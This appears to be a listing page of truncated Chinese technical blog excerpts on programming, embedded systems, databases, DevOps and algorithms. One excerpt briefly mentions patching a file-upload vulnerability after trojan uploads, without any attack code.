目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 新闻类型模块2.2 新闻档案模块2.3 新闻留言模块2.4 新闻评论模块2.5 新闻收藏模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 新闻类型表3.2.2 新闻表3.2.3 新闻留言表3.2.4 新闻评论表3.2.5 新闻收藏表 四、系统展…

Python与FPGA——全局二值化

文章目录 前言一、Python全局128二、Python全局均值三、Python全局OTSU四、FPGA全局128总结 前言 为什么要进行图像二值化&#xff0c;rgb图像有三个通道&#xff0c;处理图像的计算量较大&#xff0c;二值化的图像极大的减少了处理图像的计算量。即便从彩色图像转成了二值化图…

HarmonyOS应用开发-环境搭建(windows环境)

官网地址&#xff1a;链接 DevEco Studio 3.1.1 Release&#xff1a;下载地址 1、安装DevEco Studio 直接安装即可 2、配置开发环境 1.运行已安装的DevEco Studio&#xff0c;首次使用&#xff0c;请选择Do not import settings&#xff0c;单击OK。 2.安装Node.js与ohpm。注…

STC89C52串口通信详解

目录 前言 一.通信基本原理 1.1串行通信与并行通信 1.2同步通信和异步通信 1.2.1异步通信 1.2.2同步通信 1.3单工、半双工与全双工通信 1.4通信速率 二.串口通信简介 2.1接口标准 2.2串口内部结构 2.3串口相关寄存器 三.串口工作方式 四.波特率计算 五.串口初始化步骤 六.实验…

【go语言开发】gorm库连接和操作mysql,实现一个简单的用户注册和登录

本文主要介绍使用gorm库连接和操作mysql&#xff0c;首先安装gorm和mysql依赖库&#xff1b;然后初始化mysql&#xff0c;配置连接池等基本信息&#xff1b;然后建表、完成dao、controller开发&#xff1b;最后在swagger中测试 文章目录 前言安装依赖库数据库初始化账号注册和登…

Hadoop运行搭建——系统配置和Hadoop的安装

Hadoop运行搭建 前言&#xff1a; 本文原文发在我自己的博客小站&#xff0c;直接复制文本过来&#xff0c;所以图片不显示(我还是太懒啦&#xff01;)想看带图版的请移步我的博客小站~ Linux镜像&#xff1a;CentOS7 系统安装&#xff1a;CentOS安装参考教程 系统网卡设置…

在win10中下载桌面版的docker并在docker中搭建运行基于linux的容器

在win10中下载桌面版的docker 1.背景 在很多时候需要linux系统部署项目&#xff0c;在win10中安装虚拟机并在虚拟机中安装linux系统比较繁琐&#xff0c;可以利用win10自带的hyper-v的虚拟机管理工具&#xff0c;打开该虚拟机管理工具&#xff0c;安装docker&#xff0c;并在…

【排序】希尔排序

一、思想 希尔排序&#xff0c;由D.L. Shell于1959年提出&#xff0c;是基于插入排序的一种改进算法。它的主要思想是将待排序的序列分割成若干个子序列&#xff0c;这些子序列的元素是相隔一定“增量”的。然后对每个子序列进行直接插入排序。随着增量的逐步减小&#xff0c;…

数学建模【整数规划】

一、整数规划简介 整数规划其实是线性规划和非线性规划的一个特殊情况&#xff0c;即有的变量取值只能是整数&#xff0c;不能是小数。这时候就需要一个新的函数来解决问题。 对于整数规划&#xff0c;分为线性整数规划和非线性整数规划 线性整数规划&#xff1a;MATLAB可进…

gitlab仓库迁移至bitbucket

0. 场景描述 假设已有一个gitlab仓库&#xff1a;ssh://xxx_origin.git&#xff0c;想要把这个仓库迁移至bitbucket上。 默认gitlab和bitbucket的SSH key都已添加。 1. 新建bitbucket仓库 在bitbucket上创建新的仓库&#xff0c;并复制url地址。假设为&#xff1a; https:/…

Leetcode 26. 删除有序数组中的重复项 java版。 java解决删除重复数组元素并输出长度

1. 官网链接&#xff1a; . - 力扣&#xff08;LeetCode&#xff09; 2. 题目描述&#xff1a; 给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该…

一个数据库表格缺少自动增加的字段导致添加一条数据失败

一个数据库表格缺少自动增加的字段导致添加一条数据失败。最近要整理出一个cms网站源程序&#xff0c;因此新建了一个目录&#xff0c;将需要的文件复制到该目录。复制好以后&#xff0c;试用的时候发现添加留言失败。经过数小时的查找原因&#xff0c;最后找到原因&#xff0c…

修复通达OA 百度ueditor 文件上传漏动

前些日子&#xff0c;服务器阿里云监控报警&#xff0c;有文件木马文件&#xff0c;因为非常忙&#xff0c;就没及时处理&#xff0c;直接删除了木马文件了事。 谁知&#xff0c;这几天对方又上传了木马文件。好家伙&#xff0c;今天不花点时间修复下&#xff0c;你都传上瘾了…

苍穹外卖学习-----2024/03/04

1.公共字段填充 代码在这里

【python--读取csv文件统计店铺有关信息】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;Python &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; python练习题 读取csv文件统计店铺有关信息 读取csv文件统计店铺有关信息 import csv import osdef get_…

L1-096 谁管谁叫爹分数

L1-096 谁管谁叫爹 分数 20 全屏浏览 切换布局 作者 陈越 单位 浙江大学 《咱俩谁管谁叫爹》是网上一首搞笑饶舌歌曲&#xff0c;来源于东北酒桌上的助兴游戏。现在我们把这个游戏的难度拔高一点&#xff0c;多耗一些智商。 不妨设游戏中的两个人为 A 和 B。游戏开始后&…

Android开发者值得深入思考的几个问题,腾讯T3大佬亲自教你

前言 众所周知&#xff0c;移动开发已经来到了后半场&#xff0c;为了能够在众多开发者中脱颖而出&#xff0c;我们需要对某一个领域有深入地研究与心得&#xff0c;对于Android开发者来说&#xff0c;目前&#xff0c;有几个好的细分领域值得我们去建立自己的技术壁垒&#x…

LLM 大模型框架 LangChain 可观测性最佳实践

LLM&#xff08;Large Language Model&#xff09;大模型的可观测性是指对模型内部运行过程的理解和监控能力。由于LLM大模型通常具有庞大的参数量和复杂的网络结构&#xff0c;因此对其内部状态和运行过程的理解和监控是一个重要的问题。 什么是 LangChain&#xff1f; Lang…

回溯算法02-组合总合III(Java)

2.组合总合III 题目描述 找出所有相加之和为 n 的 k 个数的组合&#xff0c;且满足下列条件&#xff1a; 只使用数字1到9每个数字 最多使用一次 返回 所有可能的有效组合的列表 。该列表不能包含相同的组合两次&#xff0c;组合可以以任何顺序返回。 示例 1: 输入: k 3,…